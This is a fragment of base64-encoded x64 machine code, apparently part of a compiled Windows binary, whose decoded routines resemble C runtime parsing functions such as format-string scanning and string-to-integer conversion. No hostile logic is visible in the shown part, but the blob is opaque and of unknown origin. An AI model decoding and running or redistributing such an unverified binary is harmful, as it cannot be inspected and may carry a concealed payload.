ugZSQAAi/6JGOhMRQAAi8frAovGSItcJDBIi3QkOEiDxCBfw8zMSIlcJAhXSIPsIEiLQRhIi9lIhcB0Bkg7QRB2GOjXSAAAxwAWAAAA6AhFAACDyP/ppgAAAEiDeSgAdRPouEgAAIPP/8cAFgAAAOmFAAAASIPBIOsQSIvL6HgGAACEwHQNSI1LIOj/0v//hMB150iDe3gAi3twdUlIi0MYSDtDEHUKuP//AAAPt9DrFQ+3EEiDwAJIiUMYuP//AABmO9B1A4PP/0iLSxhIO0sIdBNIO0sQdQVmO9B0CEiNQf5IiUMY9gMBdBOLWzCF23QM6CdIAACJGOhcRAAAi8dIi1wkMEiDxCBfw8zMzEiJXCQIV0iD7CCLUVBIi9mD+gUPj4cAAAB0fjP/hdJ0P4PqAXQrg+oBdCKD6gF0DYP6AXV/jVcI6dEAAAC6CgAAAEG4AQAAAOnEAAAAM9Lr8boBAAAA6EkGAADptgAAAEiDwSDoI/3//0iD6AF0FUiD6AF1H0UzwDPSSIvL6LbK///rDUUzwDPSSIvL6P/G//9AivhAisfrfboKAAAA626D6gZ0ZIPqAXRYg+oBdCiD+gF0BDLA614z/0A4eTp0BY1HAetRSItRGEUzwEgrUQjooxUAAOs/SIPBIOis/P//SIPoAXQTSIPoAXQEM//rpEUzwEGNUAjrgUUzwEGNUAjrh+hVAQAA6w26EAAAAEUzwOguAgAASItcJDBIg8QgX8PMzMxIiVwkCFdIg+wgi1FQSIvZg/oFD4+SAAAAD4SFAAAAM/+F0nRDg+oBdC+D6gF0JoPqAXQRg/oBD4WCAAAAjVcI6d0AAAC6CgAAAEG4AQAAAOnQAAAAM9Lr8boBAAAA6KkFAADpwgAAAEiDwSDo9/v//0iD6AF0FUiD6AF1H0UzwDPSSIvL6IrL///rDUUzwDPSSIvL6JvH//9AivhAisfphgAAALoKAAAA63eD6gZ0bYPqAXRhg+oBdCuD+gF0BDLA62cz/0A4eTx0BY1HAetaSItRGEUzwEgrUQhI0fro9RQAAOtFSIPBIOh6+///SIPoAXQWSIPoAXQEM//rnkUzwEGNUAjpeP///0UzwEGNUAjpe////+iNAAAA6w26EAAAAEUzwOimAQAASItcJDBIg8QgX8PMzMxIiVwkCFdIg+wgSItReEiL2UiDwQjogsz//4vISItDGEg7Qwh0Ekg7QxB1BYP5/3QHSP/ISIlDGEiNSyDo7/r//0iD+AR0FEiD+Ah0BDLA6xJIi8vok8P//+sISIvL6EXC//9Ii1wkMEiDxCBfw8zMSIlcJAhXSIPsIEiLUWBIi9lIg8EI6KLM//8Pt8hIi0MYSDtDCHQYSDtDEHUKuv//AABmO8p0CEiDwP5IiUMYSI1LIOh4+v//SIP4BHQUSIP4CHQEMsDrEkiLy+jEw///6whIi8vodsL//0iLXCQwSIPEIF/DzMzMSIlcJBBIiWwkGEiJdCQgV0iD7ECL6kiNeQhIi1F4SIvZSIvPQYrw6IjL//+LyEiLRxBIOwd0Ekg7Rwh1BYP5/3QHSP/ISIlHEEyLQ0BMjUwkUEiL18ZEJFAASI1MJCDouIn//0iLS3hIi9BEis5Ei8XoarP//4B8JFAAdQQywOsYgHs6AHQEsAHrDkGwAUiL0EiLy+ibEgAASItcJFhIi2wkYEiLdCRoSIPEQF/DzMxIiVwkEEiJbCQYSIl0JCBXSIPsQIvqSI15CEiLUWBIi9lIi89BivDoaMv//w+3yEiLRxBIOwd0GEg7Rwh1Crr//wAAZjvKdAhIg8D+SIlHEEyLQ0BMjUwkUEiL18ZEJFAASI1MJCDoAYn//0iLS2BIi9BEis5Ei8XoR7f//4B8JFAAdQQywOsYgHs8AHQEsAHrDkGwAUiL0EiLy+hoEgAASItcJFhIi2wkYEiLdCRoSIPEQF/DzMzMSIlcJAhXSIPsIA+2+kiL2ej3fwAAuQCAAABmhQx4dF5Ii0MYSDtDEHUFg8n/6woPvghI/8BIiUMYD7ZDOTvIdD1Ii0MYSDtDCHQSSDtDEHUFg/n/dAdI/8hIiUMYSItDGEg7Qwh0E0g7QxB1BkCA//90B0j/yEiJQxgywOsCsAFIi1wkMEiDxCBfw8xIiVwkCFdIg+wgSIvZi0k0g+kCdGeD6QF0IIP5AXVNSIvL6KH6//+KyDLAhMl0B0j/g5AAAACKwetvSItDGEg7QxB0KA++CEj/wEiJQxiD+f90GQ+2Qzg7yHQVSItDGEg7Qwh0B0j/yEiJQxgywOs5itFIi8vo+v7//+stSItTeEiNSwjoN8n//4vISItDGEg7Qwh0Ekg7QxB1BYP5/3QHSP/ISIlDGLABSItcJDBIg8QgX8NIiVwkCFdIg+wgSIvZi0k0g+kCdF6D6QF0IoP5AXVQSIvL6BH7//+KyDLAhMl0CbgBAAAASAFDeIrB625Ii0MYSDtDEHQpD7cQuf//AABIg8ACSIlDGGY70XQUZjtTOHRESDtDCHQISIPA/kiJQxgywOs3SItTYEiNSwjoHMn//w+30EiLQxhIO0MIdBhIO0MQdQq5//8AAGY70XQISIPA/kiJQxi4AQAAAEiLXCQwSIPEIF/DzMzMSIlcJAhIiXQkEFdIg+wgi/JIi9mD+gF1K0iLUXhIg8EI6C7I//+LyEiLQxhIO0MIdBJIO0MQdQWD+f90B0j/yEiJQxhIjUsg6Jv2//9Ig+gBdBlIg+gBdAQywOscRTPAi9ZIi8voKsT//+sNRTPAi9ZIi8voc8D//0iLXCQwSIt0JDhIg8QgX8PMzMxIiVwkCEiJdCQQV0iD7CCL8kiL2YP6AXUySItRYEiDwQjoMsj//w+3yEiLQxhIO0MIdBhIO0MQdQq6//8AAGY7ynQISIPA/kiJQxhIjUsg6Aj2//9Ig+gBdBlIg+gBdAQywOscRTPAi9ZIi8vol8X//+sNRTPAi9ZIi8voqMH//0iLXCQwSIt0JDhIg8QgX8NMi0EISIvRQQ+2AIP4ZA+P+wAAAA+E6QAAAIP4U39OD4QwAQAAg/hBD4R8AQAAg/hDdFaD+ER+EoP4Rw+OaQEAAIP4SQ+EVwEAADPASMdBEBYAAABmiUEYiEEaSIlBIIlBKIhBLIlBMOlOAQAAg/hYD4TNAAAAg/hbdFGD+GEPhCYBAACD+GN1wTPASDlBIHUISMdBIAEAAABEi0koQYP5AnUDiEEsQY1J/ffB+v///3UKQYP5B3QExkIsAUmNSAGJQjBIiUoI6e0AAACLSSiD+QJ1BTPAiEIsjUH9qfr///91CYP5B3QExkIsAUmNQAHHQjAIAAAASIvKSIlCCOntBwAAx0EwAwAAAOmiAAAAg/hnD46SAAAAg/hpD4SAAAAAg/hudHKD+G90ZIP4cHRWg/hzdCCD+HV0EoP4eA+FB////8dBMAYAAADrZcdBMAUAAADrXItJKIP5AnUFM8CIQiyNQf2p+v///3UJg/kHdATGQiwBSY1AAcdCMAEAAABIiUII6zPHQSgKAAAA67THQTAEAAAA6xnHQTAJAAAA6xDHQTACAAAA6wfHQTAHAAAASY1AAUiJQQiwAcNMi0EISIvRQQ+3AIP4ZA+P+gAAAA+E6AAAAIP4U39ND4QvAQAAg/hBD4R7AQAAg/hDdFWD+ER+EoP4Rw+OaAEAAIP4SQ+EVgEAADPASMdBEBYAAACJQRiIQRxIiUEgiUEoiEEsiUEw6U4BAACD+FgPhM0AAACD+Ft0UYP4YQ+EJgEAAIP4Y3XCM8BIOUEgdQhIx0EgAQAAAESLSShBg/kCdQOIQSxBjUn998H6////dQpBg/kHdATGQiwBSY1IAolCMEiJSgjp7QAAAItJKIP5AnUFM8CIQiyNQf2p+v///3UJg/kHdATGQiwBSY1AAsdCMAgAAABIi8pIiUII6cYHAADHQTADAAAA6aIAAACD+GcPjpIAAACD+GkPhIAAAACD+G50coP4b3Rkg/hwdFaD+HN0IIP4dXQSg/h4D4UI////x0EwBgAAAOtlx0EwBQAAAOtci0kog/kCdQUzwIhCLI1B/an6////dQmD+Qd0BMZCLAFJjUACx0IwAQAAAEiJQgjrM8dBKAoAAADrtMdBMAQAAADrGcdBMAkAAADrEMdBMAIAAADrB8dBMAcAAABJjUACSIlBCLABw8xAU0iD7CBIi9lIi0kIigEsMDwJdwgPvgGDwNDrI4oBLGE8GXcID74Bg8Cp6xOKASxBPBl3CA++AYPAyesDg8j/g/gJdgSwAetYSINkJDAASI1UJDBBuAoAAADo0SUAAEiFwHQVSItMJDBIO0sIdApIiUMgSIlLCOvMg2MUAEiDYyAAg2MoAINjMAAywGbHQxgAAMZDGgDGQywAx0MQFgAAAEiDxCBbw8xIiVwkEFdIg+wgSIvZujAAAABIi0kIZjkRD4KfAQAAZoM5OnMKD7cBK8LpigEAALoQ/wAAZjkRD4NrAQAAumAGAABmOREPgnMBAACNQgpmOQFy0rrwBgAAZjkRD4JdAQAAjUIKZjkBcry6ZgkAAGY5EQ+CRwEAAI1CCmY5AXKmjVB2ZjkRD4IzAQAAjUIKZjkBcpKNUHZmOREPgh8BAACNQgpmOQEPgnr///+NUHZmOREPggcBAACNQgpmOQEPgmL///+NUHZmOREPgu8AAACNQgpmOQEPgkr///+6ZgwAAGY5EQ+C1QAAAI1CCmY5AQ+CMP///41QdmY5EQ+CvQAAAI1CCmY5AQ+CGP///41QdmY5EQ+CpQAAAI1CCmY5AQ+CAP///7pQDgAAZjkRD4KLAAAAjUIKZjkBD4Lm/v//jVB2ZjkRcneNQgpmOQEPgtL+//+NUEZmORFyY41CCmY5AQ+Cvv7//7pAEAAAZjkRck2NQgpmOQEPgqj+//+64BcAAGY5EXI3jUIKZjkBD4KS/v//jVAmZjkRciONQgpmOQFzG+l9/v//uBr/AABmOQEPgm/+//+DyP+D+P91NQ+3AWaD6EFmg/gZdhIPtwFmg+hhZoP4GXYFg8j/6xYPtwFmg+hhZoP4GQ+3AXcDg+ggg8DJg/gJdgSwAetOM/9IjVQkMEiJfCQwRI1HCugHJAAASIXAdBVIi0wkMEg7Swh0CkiJQyBIiUsI681Ix0MQFgAAADLAiXsYQIh7HEiJeyCJeyhAiHssiXswSItcJDhIg8QgX8PMzMxIi0EIgDhJD4TEAAAAgDhMD4SsAAAAgDhUD4SUAAAAgDhodGqAOGp0VoA4bHQsgDh0dBiAOHoPhe8AAABI/8DHQSgGAAAASIlBCMNI/8DHQSgHAAAASIlBCMNIjVABgDpsdRBIg8ACx0EoBAAAAEiJQQjDSIlRCMdBKAMAAADDSP/Ax0EoBQAAAEiJQQjDSI1QAYA6aHUQSIPAAsdBKAEAAABIiUEIw0iJUQjHQSgCAAAAw0j/wMdBKAsAAABIiUEIw0j/wMdBKAgAAABIiUEIw0yNQAFBihCA+jN1FoB4AjJ1EEiDwAPHQSgJAAAASIlBCMOA+jZ1EIB4AjR1CkiDwANIiUEI6xyA6liA+iB3G0i4ARCCIAEAAABID6PQcwtMiUEIx0EoCgAAAMNIi0EID7cQg/pJD4TXAAAAg/pMD4S+AAAAg/pUD4SlAAAAQbhoAAAAQTvQdHSD+mp0X0G4bAAAAEE70HQug/p0dBmD+noPhf0AAABIg8ACx0EoBgAAAEiJQQjDSIPAAsdBKAcAAABIiUEIw0iNUAJmRDkCdRBIg8AEx0EoBAAAAEiJQQjDSIlRCMdBKAMAAADDSIPAAsdBKAUAAABIiUEIw0iNUAJmRDkCdRBIg8AEx0EoAQAAAEiJQQjDSIlRCMdBKAIAAADDSIPAAsdBKAsAAABIiUEIw0iDwALHQSgIAAAASIlBCMNMjUACQQ+3EGaD+jN1F2aDeAQydRBIg8AGx0EoCQAAAEiJQQjDZoP6NnURZoN4BDR1CkiDwAZIiUEI6x5mg+pYZoP6IHcbSLgBEIIgAQAAAEgPo9BzC0yJQQjHQSgKAAAAw8zMzEiJXCQISIl0JBBXSIPsIEiNeTQz9kiL2UiF/3UlSMdBEAwAAABmiXEYQIhxGkiJcSCJcShAiHEsiXEwMsDpQQEAADPSSIvPRI1CIOjQMf//SItDCIA4XkEPlMNFhNt0B0j/wEiJQwhIi0MIgDhddQtI/8BIiUMIgEs/IEyLUwhBgDpdD4SZAAAASItDCIoQhNIPhIsAAACA+i11Tkk7wnRJikgBgPlddEGKUP860XYGisKK0YrI/sHrKkQPtsJJwegDD7bCRQ+2TBg0JQcAAIB9B//Ig8j4/8BBD6vBRYhMGDT+wjrRddLrJw+2ykjB6QMPtsJED7ZEGTQlBwAAgH0H/8iDyPj/wEEPq8BEiEQZNEj/QwhIi0MIgDhdD4Vn////SItDCEA4MHUjSMdDEBYAAABmiXMYQIhzGkiJcyCJcyhAiHMsiXMw6e3+//9FhNt0KkiNRyBIi9BIK9dIO/hID0fWSIXSdBRMi8dJ99j2F0j/x0mNDDhIO8p18kj/QwiwAUiLXCQwSIt0JDhIg8QgX8PMSIlcJBBIiWwkGEiJdCQgV0FUQVVBVkFXSIPsIEiNcThFM+RIi/m4AQAAAL0AIAAATDkmdXOL0IvN6EYvAABIiw5Ii9jo4y0AADPJSIke6NktAABMOSZ1J0jHRxAMAAAARIlnGESIZxwywEyJZyBEiWcoRIhnLESJZzDpQQEAALgBAAAATDkmdR+L0EiLzejxLgAASIsOSIvY6I4tAAAzyUiJHuiELQAASIsOSIXJdApMi8Uz0ujSL///SItHCGaDOF5BD5TGRIh0JFBFhPZ0CEiDwAJIiUcISItHCEG9XQAAAGZEOSh1E0iDwAJBi9VIi85IiUcI6OUAAABMi38IZkU5Lw+EggAAAEG+AQAAAEiLRwgPtxBmhdJ0a2aD+i11Tkk7x3RJD7dYAmZBO910Pw+3aP5mO+t2CQ+3xQ+36w+32GZBA95mO+t0LEG8AQAAAA+31UiLzuiEAAAAZkED7GY763XsRTPkRY10JAHrCEiLzuhpAAAASINHCAJIi0cIZkQ5KHWJRIp0JFBIi0cIZkQ5IHUUSMdHEBYAAADHRxgAAAAA6bv+//9FhPZ0CEiLzugW6f//SINHCAK4AQAAAEiLXCRYSItsJGBIi3QkaEiDxCBBX0FeQV1BXF/DzMzMSIlcJAhIiXQkEFdIg+wgSIM5AA+38kiL+XUkugEAAAC5ACAAAOh6LQAASIsPSIvY6BcsAAAzyUiJH+gNLAAATIsHD7fWSMHqAw+3xkIPtgwCJQcAAIB9B//Ig8j4/8BIi1wkMA+rwUiLdCQ4QogMAkiDxCBfw8zMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsIDPtRA+38kiL8b8BAAAASDkpdSGL17kAIAAA6PQsAABIiw5Ii9jokSsAADPJSIke6IcrAABBD7fOgeEHAACAfQcrz4PJ+APPSItcJDBIi2wkONPnSIsOSIt0JEBBD7fWSMHqA4oUCkCE+kiLfCRID5XASIPEIEFew8zMzEiLxEiJWBBIiXAYV0iD7CAPtnwkWEmL8UCIeDBIi9nGQDEA6GBvAAC5AIAAAGaFDHh0HUiLQxhIO0MQdQWDyf/rCg++CEj/wEiJQxiITCRZTItLeEiNVCRYuD8AAABIjUwkMGaJRCQwSYsBTGNACOiMMgAASIsGSItcJDhAD77PZokISItEJFBIgwYCSIt0JEBI/wiwAUiDxCBfw0iLxEiJWAhIiXAQV0iD7DCDYBgASI1IGEmL2UQPt0wkaEiL8kiLE0mD+P91LUG4BQAAAOgANQAAhcB0DIP4FnRTg/gidTzrTEhjTCRQSItEJGBIAQtIKQjrKEiLfCRgTIsH6NE0AACD+CJ1B8YGADLA6xFIY0QkUIXAfgZIAQNIKQewAUiLXCRASIt0JEhIg8QwX8NIg2QkIABFM8lFM8Az0jPJ6PctAADMzMxIiVwkCFdIg+wgSIOBgAAAAAhIi/pIi4GAAAAASItY+EiF23UU6G4xAADHABYAAADony0AADLA60BFhMB0B0j/gYgAAABIg8Eg6Mbm//9Ig+gBdCBIg+gBdBVIg+gCdAtIg+gEdc9IiTvrDIk76whmiTvrA0CIO7ABSItcJDBIg8QgX8NIiVwkCFdIg+wgSINBaAhIi/pIi0FoSItY+EiF23UU6PAwAADHABYAAADoIS0AADLA6z1FhMB0BEj/QXBIg8Eg6Evm//9Ig+gBdCBIg+gBdBVIg+gCdAtIg+gEddJIiTvrDIk76whmiTvrA0CIO7ABSItcJDBIg8QgX8PMSIvESIlYCEiJcBBIiXgYVUFWQVdIjWjYSIHsEAEAAEiLBeopBABIM8RIiUUARTP/SYvxSYvYSIv6TIvxSIXSdRnoUjAAAMcAFgAAAOiDLAAASIPI/+nEAAAATYXJdOJIg8j/SDvYdQxIi9hI/8NEODwadfdIi1VQSI1MJDjoZj3//0iNBDtIiXwkIDPSSIlEJCgPEEQkIEiJfCQwSI1NtPIPEEwkMESNQiBMiXQkYA8RRCRoTIl1gPIPEUwkeEiJdYhEiX2Q6I0q//9IjUQkQESJfZRIiUXYSI1MJGBIi0VYSIlF4GZEiX2YRIh9mkyJfaBEiX2oRIh9rESJfbBMiX3oTIl98Oil5f//RDh8JFB0DEiLTCQ4g6GoAwAA/UiLTQBIM8zortMAAEyNnCQQAQAASYtbIEmLcyhJi3swSYvjQV9BXl3DzEiLxEiJWAhIiXAQSIl4GFVBVkFXSI1osUiB7OAAAABFM/9Ji/FJi9hIi/pMi/FIhdJ1GegYLwAAxwAWAAAA6EkrAABIg8j/6bwAAABNhcl04kiDyP9IO9h1DUiL2Ej/w2ZEOTxadfZIi1V3SI1NF+gsPP//SI0EX0iJfCQgSIlEJChIjU2XDxBEJCBIjUUfSIl9h/IPEE2HSIlF90iLRX9IiUX/TIl1lw8RRZ9MiXW38g8RTa9IiXW/TIl9x0yJfe9EiX3PRIh900yJfddEiX3fRIh940SJfedMiX0HTIl9D+hy5f//SItN74vY6L8mAABMiX3vRDh9L3QLSItNF4OhqAMAAP2Lw0yNnCTgAAAASYtbIEmLcyhJi3swSYvjQV9BXl3DzMzMSIlcJAhIiXQkEFdIg+wgSYvZSYvwSIv6TYXJdQQzwOtWSIXJdRXo/S0AALsWAAAAiRjoLSoAAIvD6zxNhcB0Ekg703INTIvDSIvW6BjVAADry0yLwjPS6Iwo//9IhfZ0xUg7+3MM6L0tAAC7IgAAAOu+uBYAAABIi1wkMEiLdCQ4SIPEIF/DzEiD7CiLBZ5hBABNi9hMi9FFM8mFwHV5TYXAdGxIhcl1Guh6LQAAxwAWAAAA6KspAAC4////f0iDxCjDSIXSdOFMK9JBD7cMEo1Bv2aD+Bl3BGaDwSBED7cCQY1Av2aD+Bl3BWZBg8AgSIPCAkmD6wF0C2aFyXQGZkE7yHTGQQ+3wEQPt8lEK8hBi8FIg8Qow0iDxCjpAwAAAMzMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7EBFM/ZJi+hIi/pIi/FBi8ZNhcAPhMwAAABIhcl1GujJLAAAxwAWAAAA6PooAAC4////f+mtAAAASIXSdOFJi9FIjUwkIOjyOf//SItEJChMObA4AQAAdTpIK/cPtxw+jUO/ZoP4GXcEZoPDIA+3D41Bv2aD+Bl3BGaDwSBIg8cCSIPtAXREZoXbdD9mO9l0y+s4D7cOSI1UJCjoRUoAAA+3D0iNVCQoD7fY6DVKAABIjXYCD7fISI1/AkiD7QF0CmaF23QFZjvYdMgPt8kPt8MrwUQ4dCQ4dAxIi0wkIIOhqAMAAP1Ii1wkUEiLbCRYSIt0JGBIi3wkaEiDxEBBXsP2wQR0A7ABw/bBAXQZg+ECdAiB+gAAAIB364XJdQiB+v///3933zLAw8zMzEiJEUyJQQhNhcB0A0mJEEiLwcPMSIlcJAhIiXQkGEiJfCQgVUFUQVVBVkFXSIvsSIPsQEiDOgBFiuFFi/hIi9p1Juh5KwAAxwAWAAAA6KonAABIi0sISIXJdAZIiwNIiQEzwOmhAgAARYXAdAlBjUD+g/gid8xIi9FIjU3g6I44//9Miysz9kiLVehMiW04QYp9AEmNRQFEjW4ISIkDg3oIAUAPtsd+FEyNRehBi9WLyOhSaAAASItV6OsNSIvISIsCD7cESEEjxYXAdAtIiwNAijhI/8Drw0Uz9kWE5EEPlcZAgP8tdQZBg84C6wZAgP8rdQxIiwNAijhI/8BIiQNMi204QYPM/0H3x+////8PhYAAAACNR9A8CXcJQA++x4PA0OsjjUefPBl3CUAPvseDwKnrE41HvzwZdwlAD77Hg8DJ6wNBi8RBuQgAAACFwHQLRYX/dURFjXkC6z5IiwOKEEiNSAFIiQuNQqio33RHRYX/RQ9E+Uj/yUiJC4TSdBo4EXQW6DYqAADHABYAAADoZyYAAEG5CAAAADPSQYvEQff3RIvAjU/QgPkJdyFAD77Pg8HQ6ztAijm4EAAAAEWF/0QPRPhIjUEBSIkD68yNR588GXcJQA++z4PBqesTjUe/PBl3CUAPvs+DwcnrA0GLzEE7zHQtQTvPcyhFC/FBO/ByDHUEO8p2BkGDzgTrBkEPr/cD8UiLA0CKOEj/wEiJA+uCSP8LSIsDQIT/dBVAODh0EOiHKQAAxwAWAAAA6LglAABB9sYIdR2AffgATIkrD4T7/f//SItF4IOgqAMAAP3p6/3//4vWQYvO6GP9//+EwHRq6EYpAADHACIAAABB9sYBdQVBi/TrXEH2xgJ0J4B9+AB0C0iLReCDoKgDAAD9SItLCEiFyXQGSIsDSIkBuAAAAIDrUYB9+AB0C0iLReCDoKgDAAD9SItLCEiFyXQGSIsDSIkBuP///3/rKkH2xgJ0AvfegH34AHQLSItN4IOhqAMAAP1Ii0MISIXAdAZIiwtIiQiLxkyNXCRASYtbMEmLc0BJi3tISYvjQV9BXkFdQVxdw8xIiVwkCEiJbCQYSIl0JCBXQVRBVUFWQVdIg+xQRTPtQYrxRYv4SIv6TDkqdSboZigAAMcAFgAAAOiXJAAASItPCEiFyXQGSIsHSIkBM8DpYwYAAEWFwHQJQY1A/oP4InfMSIvRSI1MJCjoejX//0yLJ0WL9UyJZCQgvQgAAABBD7ccJEmNRCQC6wpIiwcPtxhIg8ACi9VIiQcPt8voz2QAAIXAdeVAhPZBi+1AD5XFZoP7LXUFg80C6wZmg/srdQ1IiwcPtxhIg8ACSIkHvuYJAADHhCSIAAAAagYAAEGDyf+5YAYAAEG6MAAAAEG7EP8AALrwBgAAuGYKAABEjUaAQffH7////w+FfwIAAGZBO9oPgsoBAABmg/s6cwsPt8NBK8LptAEAAGZBO9sPg5UBAABmO9kPgqYBAABmO5wkiAAAAHMKD7fDK8HpjQEAAGY72g+CiQEAALn6BgAAZjvZcwoPt8MrwulwAQAAZkE72A+CawEAALlwCQAAZjvZcwsPt8NBK8DpUQEAAGY73g+CTQEAALnwCQAAZjvZcwoPt8Mrxuk0AQAAZjvYD4IwAQAAuHAKAABmO9hzDQ+3wy1mCgAA6RQBAAC55goAAGY72Q+CCwEAAI1BCmY72A+CY////41IdmY72Q+C8wAAAI1BCmY72A+CS////7lmDAAAZjvZD4LZAAAAjUEKZjvYD4Ix////jUh2ZjvZD4LBAAAAjUEKZjvYD4IZ////jUh2ZjvZD4KpAAAAjUEKZjvYD4IB////uVAOAABmO9kPgo8AAACNQQpmO9gPguf+//+NSHZmO9lye41BCmY72A+C0/7//41IRmY72XJnjUEKZjvYD4K//v//uUAQAABmO9lyUY1BCmY72A+Cqf7//7ngFwAAZjvZcjuNQQpmO9gPgpP+//+NSCZmO9lyJ41BCmY72HMf6X7+//+4Gv8AAGY72HMID7fDQSvD6wODyP+D+P91KY1Dv2aD+Bl2Do1Dn2aD+Bl2BUGLwesSjUOfZoP4GQ+3w3cDg+ggg8DJvggAAACFwHQLRYX/dXlEjX4C63NIiwdBuN//AAAPtxBIjUgCSIkPjUKoZkGFwHQ6RYX/RA9E/kiDwf5IiQ9mhdJ0RGY5EXQ/6EElAADHABYAAADociEAAEGDyf9BujAAAABBuxD/AADrHQ+3GbgQAAAARYX/RA9E+EiNQQJIiQfrBb4IAAAAM9JBi8FB9/dBvWAGAABBvPAGAABEi8BmQTvaD4KuAQAAZoP7OnMLD7fLQSvK6ZgBAABmQTvbD4N5AQAAZkE73Q+CiQEAALhqBgAAZjvYcwsPt8tBK83pbwEAAGZBO9wPgmoBAAC4+gYAAGY72HMLD7fLQSvM6VABAAC4ZgkAAGY72A+CRwEAAI1ICmY72XMKD7fLK8jpMAEAALjmCQAAZjvYD4InAQAAjUgKZjvZcuCNQXZmO9gPghMBAACNSApmO9lyzI1BdmY72A+C/wAAAI1ICmY72XK4jUF2ZjvYD4LrAAAAjUgKZjvZcqS4ZgwAAGY72A+C1QAAAI1ICmY72XKOjUF2ZjvYD4LBAAAAjUgKZjvZD4J2////jUF2ZjvYD4KpAAAAjUgKZjvZD4Je////uFAOAABmO9gPgo8AAACNSApmO9kPgkT///+NQXZmO9hye41ICmY72Q+CMP///41BRmY72HJnjUgKZjvZD4Ic////uEAQAABmO9hyUY1ICmY72Q+CBv///7jgFwAAZjvYcjuNSApmO9kPgvD+//+NQSZmO9hyJ41ICmY72XMf6dv+//+4Gv8AAGY72HMID7fLQSvL6wODyf+D+f91KY1Dv2aD+Bl2Do1Dn2aD+Bl2BUGLyesSjUOfD7fLZoP4GXcDg+kgg8HJQTvJdDBBO89zKwvuRTvwcgt1BDvKdgWDzQTrB0UPr/dEA/FIiwcPtxhIg8ACSIkH6er9//9Igwf+RTPtSIsHTItkJCBmhdt0FWY5GHQQ6LwiAADHABYAAADo7R4AAECE7nUfTIknRDhsJEAPhEP6//9Ii0QkKIOgqAMAAP3pMvr//0GL1ovN6Jf2//+EwHRv6HoiAADHACIAAABA9sUBdQZBg87/62FA9sUCdClEOGwkQHQMSItEJCiDoKgDAAD9SItPCEiFyXQGSIsHSIkBuAAAAIDrV0Q4bCRAdAxIi0QkKIOgqAMAAP1Ii08ISIXJdAZIiwdIiQG4////f+suQPbFAnQDQffeRDhsJEB0DEiLTCQog6GoAwAA/UiLVwhIhdJ0BkiLD0iJCkGLxkyNXCRQSYtbMEmLa0BJi3NISYvjQV9BXkFdQVxfw0iJXCQISIl0JBhIiXwkIFVBVEFVQVZBV0iL7EiD7EBIgzoARYrhRYv4SIvadSbokSEAAMcAFgAAAOjCHQAASItLCEiFyXQGSIsDSIkBM8DpwQIAAEWFwHQJQY1A/oP4InfMSIvRSI1N4OimLv//TIsrRTP2SItV6EyJbThBin0ASY1FAUWNbghIiQODeggBQA+2x34UTI1F6EGL1YvI6GleAABIi1Xo6w1Ii8hIiwIPtwRIQSPFhcB0C0iLA0CKOEj/wOvDM/ZFhORAD5XGQID/LXUFg84C6wZAgP8rdQxIiwNAijhI/8BIiQNMi204QffH7////w+FgAAAAI1H0DwJdwlAD77Hg8DQ6yONR588GXcJQA++x4PAqesTjUe/PBl3CUAPvseDwMnrA4PI/0G7CAAAAIXAdAtFhf91REWNewLrPkiLA4oQSI1IAUiJC41CqKjfdE9Fhf9FD0T7SP/JSIkLhNJ0GjgRdBboUyAAAMcAFgAAAOiEHAAAQbsIAAAASYPM/01j10mLxDPSSffyTIvIjU/QgPkJdyJED77HQYPA0Os+QIo5uBAAAABFhf9ED0T4SI1BAUiJA+vEjUefPBl3CkQPvsdBg8Cp6xWNR788GXcKRA++x0GDwMnrBEGDyP9Bg/j/dDpFO8dzNUEL80078XIPdQhBi8BIO8J2BYPOBOsNSYvKSQ+vzkWL8EwD8UiLA0CKOEj/wEiJA+lw////TAEjSIsDQIT/dBVAODh0EOiLHwAAxwAWAAAA6LwbAABA9sYIdR2AffgATIkrD4Tn/f//SItF4IOgqAMAAP3p1/3//0mL1ovO6Gtk//+EwHR06EofAADHACIAAABA9sYBdQVNi/TrZ0D2xgJ0LIB9+AB0C0iLReCDoKgDAAD9SItLCEiFyXQGSIsDSIkBSLgAAAAAAAAAgOtYgH34AHQLSItF4IOgqAMAAP1Ii0sISIXJdAZIiwNIiQFIuP////////9/6yxA9sYCdANJ996AffgAdAtIi03gg6GoAwAA/UiLQwhIhcB0BkiLC0iJCEmLxkyNXCRASYtbMEmLc0BJi3tISYvjQV9BXkFdQVxdw8xIiVwkCEiJbCQYSIl0JCBXQVRBVUFWQVdIgeygAAAARTPtQYrxRYv4SIv6TDkqdSboWx4AAMcAFgAAAOiMGgAASItPCEiFyXQGSIsHSIkBM8DpQQcAAEWFwHQJQY1A/oP4InfMSIvRSI1MJHjobyv//0yLJ02L9UyJpCSYAAAAvQgAAABBD7ccJEmNRCQC6wpIiwcPtxhIg8ACi9VIiQcPt8vowVoAAIXAdeVAhPZBi+1AD5XFZoP7LXUFg80C6wZmg/srdQ1IiwcPtxhIg8ACSIkHx0QkdGoGAAC+ZgoAAMeEJNgAAADwCgAAuTAAAADHRCRQZgsAALpgBgAAx0QkKHALAABBuxD/AADHRCRoZgwAAESNVoDHRCQwcAwAALjmCgAAx0QkWOYMAABBuPAGAADHRCQ48AwAAEG5ZgkAAMdEJHBmDQAAx0QkQHANAADHRCRgUA4AAMdEJEhaDgAAx0QkbNAOAADHRCQg2g4AAMdEJCQgDwAAx0QkLCoPAADHRCQ0QBAAAMdEJDxKEAAAx0QkROAXAADHRCRM6hcAAMdEJFQQGAAAx0QkXBoYAADHRCRkGv8AAEH3x+////8PhaUCAABmO9kPgsIBAABmg/s6cwoPt8MrwemtAQAAZkE72w+DkQEAAGY72g+CnwEAAGY7XCR0cwoPt8MrwumJAQAAZkE72A+ChAEAALr6BgAAZjvacwsPt8NBK8DpagEAAGZBO9kPgmUBAAC6cAkAAGY72nMLD7fDQSvB6UsBAABmQTvaD4JGAQAAuvAJAABmO9pzCw+3w0ErwuksAQAAZjveD4IoAQAAunAKAABmO9pzCg+3wyvG6Q8BAABmO9gPggsBAABmO5wk2AAAAHMND7fDLeYKAADp7wAAAItUJFBmO9oPgucAAABmO1wkKA+CRP///4tUJGhmO9oPgs8AAABmO1wkMA+CLP///4tUJFhmO9oPgrcAAABmO1wkOA+CFP///4tUJHBmO9oPgp8AAABmO1wkQA+C/P7//4tUJGBmO9oPgocAAABmO1wkSA+C5P7//4tUJGxmO9pyc2Y7XCQgD4LQ/v//i1QkJGY72nJfZjtcJCwPgrz+//+LVCQ0ZjvacktmO1wkPA+CqP7//4tUJERmO9pyN2Y7XCRMD4KU/v//i1QkVGY72nIjZjtcJFxzHOl//v//ZjtcJGRzCA+3w0Erw+sDg8j/g/j/dSmNQ79mg/gZdg6NQ59mg/gZdgWDyP/rEo1Dn2